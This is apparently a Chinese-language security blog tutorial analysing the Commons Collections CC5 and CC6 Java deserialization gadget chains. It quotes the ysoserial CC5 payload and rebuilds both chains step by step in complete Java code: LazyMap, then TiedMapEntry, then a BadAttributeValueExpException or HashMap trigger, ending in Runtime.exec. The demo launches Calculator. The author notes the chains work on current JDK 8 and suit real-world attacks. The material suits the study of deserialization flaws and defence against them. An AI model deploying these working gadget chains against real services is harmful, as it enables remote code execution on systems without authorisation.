這是common-collections 反序列化的第三篇文章,此次分析利用鏈CC5和CC6,先看下Ysoserial CC5 payload:java
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val; }
前面到LazyMap這一段咱們已經很是熟悉了,惡意的Transform放到了LazyMap中,只要有其餘地方調用LazyMap的get()方法便可觸發惡意Transform。app
經過IDEA的Find Usages功能,能夠看到有上千個地方有對lazymap調用,而YsoSerial CC5選擇了TiedMapEntry。code
爲何CC5 選擇使用TiedMapEntry呢,看一下TiedMapEntry的源碼,其中getValue()有對map調用get()方法,那getValue()就能觸發代碼執行,捎帶的本類中還有equals
、hashCode
、toString
有調用getValue,也就是說在TiedMapEntry 能觸發代碼執行的有 equals
、hashCode
、toString
、getValue
這四個方法,其中toString和equals 某些場景下可以被隱式調用。orm
將惡意類綁定到TiedMapEntry後,由於能夠觸發的方法變多了,同時特別是toString和equel方法更加通用因此,只要找到一個類知足如下條件,那RCE就能完成了:繼承
toString
、equel
、hashCode
、getValue
知足這兩個條件其實有不少,對應的分別有接口
調用toString的BadAttributeValueExpException 對應CC5rem
調用hashcode的HashMap,對應CC6get
先來分析下CC5的BadAttributeValueExpException,打開源碼定位readObject,很是明顯,有對序列化變量val
的toString()操做。cmd
看一下這個val長啥樣:源碼
val是一個Object類型的私有化變量,那思路就很清晰,只要把咱們構造的TiedMapEntry 經過反射賦值給val便可。
第一步 構造惡意的LazyMap
// 第一步 構造惡意lazyMap String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<String,String> hashMap = new HashMap<>(); hashMap.put("testKey","testVal"); Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);
第二步 構造惡意的TiedMapEntry
// 第二步 構造惡意的 TiedMapEntry TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "9eek");
第三步 構造利用類 BadAttributeValueExpException
這裏有個細節,雖然可以直接經過構造方法賦值給val,但在構造方法中有對入參作toString操做,那獲得的val就是String而不是map了,因此只能經過反射的方式去賦值給val
// 第三步 構造 BadAttributeValueExpException BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test"); ReflectUtils.setFields(badAttributeValueExpException,"val",tiedMapEntry);
第四步 反序列化驗證
// 第四步 反序列化驗證 String path = ExpUtils.serialize(badAttributeValueExpException); ExpUtils.unserialize(path);
執行一下,命令成功執行:
上面以BadAttributeValueExpException做爲利用,下面看一下HashMap#readObject的源碼,HashMap中有對反序列化的key值作hash操做:
跟進一下hash(),調用了key的hashCode()方法,結合咱們對TiedMapEntry的分析,這裏只要將key賦值爲TiedMapEntry,在反序列化時便可完成RCE。
第一步 構造惡意TiedMapEntry
這裏有一點和前面不同,傳遞給chainedTransformer的是一個 new ConstantTransformer(1)
至關於空操做的fakeTransformer,這是爲了不後面在hashmap在put時會執行代碼。
// 第一步 構造惡意 tiedMapEntry String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}) }; Transformer[] fakeTransformer = new Transformer[]{ new ConstantTransformer(1) }; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer); HashMap<String,String> hashMap = new HashMap<>(); hashMap.put("testKey","testVal"); Map evilMap = LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "entryKey");
第二步 綁定到hashmap上
Map mapStringHashMap = new HashMap<>(); mapStringHashMap.put(tiedMapEntry,"outerKey");
第三步 移除第一個hashmap的entryKey
這裏能夠想一下爲何要這麼操做。
由於HashMap不光在readobject時會執行hash操做,在put的時候也會計算hash,這樣put的時候第一個hashmap就已經生成entryKey的key了,而在反序列化的時候系統判斷存在就不會再執行transform方法,也就不會觸發代碼執行。
其實這裏爲何在已經傳遞給tiedMapEntry後還能修改第一個hashmap並生效也說明了,Java中傳遞給TiedMapEntry只是一個引用,能夠在外面進行修改。
evilMap.remove("entryKey");
第四步 把惡意的transfomer經過反射從新賦值給chainedTransformer並反序列化驗證
ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers); String path = ExpUtils.serialize(mapStringHashMap); ExpUtils.unserialize(path);
執行結果:
本篇文章在前文LazyMap的基礎上進一步經過TiedMapEntry封裝,從而帶來了CC5與CC6的反序列化利用鏈,值得說明的是,CC五、CC6目前沒有版本限制,執行很是通用,我在最近的JDK1.8.261下都能成功運行,是在實戰中比較好利用的鏈。